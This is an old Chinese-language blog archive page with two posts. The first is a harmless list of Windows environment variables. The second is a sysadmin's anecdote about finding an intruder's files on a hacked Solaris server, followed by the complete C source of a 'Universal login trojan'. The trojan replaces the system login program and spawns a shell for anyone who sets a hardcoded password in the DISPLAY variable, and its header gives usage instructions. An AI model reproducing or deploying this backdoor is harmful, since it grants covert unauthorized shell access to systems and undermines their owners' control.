2008 四月 « Dylan’s Workplace

Windows 環境變數表

四月 28, 2008 at 7:30 am (OS, Windows) (OS)

在ABAP做frontend溝通時或許用的到:)

每部電腦的環境變數大致相同，但也可能會有若干差異，這是因為安裝的軟體或使用者可能自行設定了環境變數；在『命令提示字元』視窗利用set指令，就能列出完整的環境變數。

除了上篇文章提及了若干，以下再補述其他環境變數；這些環境變數可以『檔案總管』試之，或在DOS視窗以echo指令顯示其值：

* %ALLUSERSPROFILE%：All Users設定檔的資料夾位置。
* %APPDATA%：目前使用者的Application Data資料夾位置。
* %CD%：目前的工作資料夾。
* %CLIENTNAME%：目前使用者的NETBIOS電腦名稱。
* %CMDCMDLINE%：處理目前命令提示字元視窗命令的cmd.exe的完整路徑。
* %CMDEXTVERSION%：目前Command Processor Extensions的版本。
* %CommonProgramFiles%：Common Files資料夾的路徑。
* %COMPUTERNAME%：電腦名稱。

* %COMSPEC%:：命令提示字元視窗的解譯程式路徑，通常與%CMDCMDLINE%相同。
* %DATE%：目前的系統日期。
* %ERRORLEVEL%：最近執行過的命令的錯誤碼；非零的值表示發生過的錯誤碼。
* %HomeDrive%：使用者目錄的磁碟機。
* %HomePath%：使用者家目錄。
* %HOMESHARE%：目前使用者共用資料夾的網路路徑。
* %LOGONSEVER%：目前使用者所登入的網路控制器名稱。
* %NUMBER_OF_PROCESSORS%：電腦的處理器數量。
* %OS%：作業系統名稱，其值固定為Windows_NT。
* %Path%：執行檔的搜尋路徑。
* %PATHEXT%：作業系統是為執行檔的副檔名。
* %PROCESSOR_ARCHITECTURE%：處理器的架構名稱，例如x86。
* %PROCESSOR_IDENTFIER%：說明處理器的文字（不一定會有此環境變數）。
* %PROCESSOR_LEVEL%：處理器的model number。
* %PROCESSOR_REVISION%：處理器的revision number。
* %ProgramFiles%：應用程式目錄，預設是C:\Program Files。
* %PROMPT%：目前解譯程式的命令提示字串。
* %RANDOM%：顯示0到32767之間的十進位整數亂數。
* %SESSIONNAME%：連上終端伺服器的session names。
* %SystemDrive%：系統磁碟機，預設是C:。
* %SystemRoot%：系統根目錄，預設是C:\WINNT或C:\WINDOWS。
* %SystemDirectory%：系統目錄，預設是C:\WINNT\System32或C:\WINDOWS\System32。
* %Temp%、%Tmp%：暫存檔目錄。
* %TIME%：目前的系統時間。
* %UserDomain%：包含使用者帳號的網域名稱，或者電腦名稱。
* %UserName%：使用者帳號名稱。
* %USERPROFILE%：目前使用者的設定檔路徑。
* %WinDir%：Windows目錄，預設是C:\WINNT或C:\WINDOWS。

固定網址發個留言

木馬(Universal login trojan)原始碼

四月 28, 2008 at 7:29 am (OS, Solaris) (OS, Solaris)

以前幹Solaris網管時，公司server被駭（我進公司不到一星期發現的，應該是我進去之前就被破台很久-_-|||），駭進來的人真的有點白目，竟然編譯完login.c檔案後，替換掉正常程序後也沒把原始碼刪除掉，也因此我得以一窺究竟（雖然我還是看不懂）。

留著或許有用或許沒用，反正也是今天整理舊檔案時發現的，就貼上來給大家看看吧：

/*
* PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !!
* Universal login trojan by Tragedy/Dor
*  Email: rawpower@iname.com
*  IRC: [Dor]@ircnet
*
* Login trojan for pretty much any O/S...
* Tested on:   Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7
*       OSF1/DGUX4.0,
* Known not to work on:
*  SunOS 4.x and 5.4... Seems the only variable passwd to login
*  on these versions of SunOS is the $TERM... and its passed via
*  commandline option... should be easy to work round in time
*
*   #define         PASSWORD  - Set your password here
*   #define         _PATH_LOGIN - This is where you moved the original login to
*  login to hacked host with...
*  from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
*
*/

#include        <stdio.h>
#if !defined(PASSWORD)
#define  PASSWORD "xxx"
#endif
#if !defined(_PATH_LOGIN)
# define                _PATH_LOGIN     "/dev/login"
#endif

main (argc, argv, envp):q
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
      execve(_PATH_LOGIN, argv, envp);
      perror(_PATH_LOGIN);
      exit(1);
 }
if (!strcmp(display,PASSWORD)) {
              system("/bin/sh");
      exit(1);
      }

      execve(_PATH_LOGIN, argv, envp);
      exit(1);
}

固定網址發個留言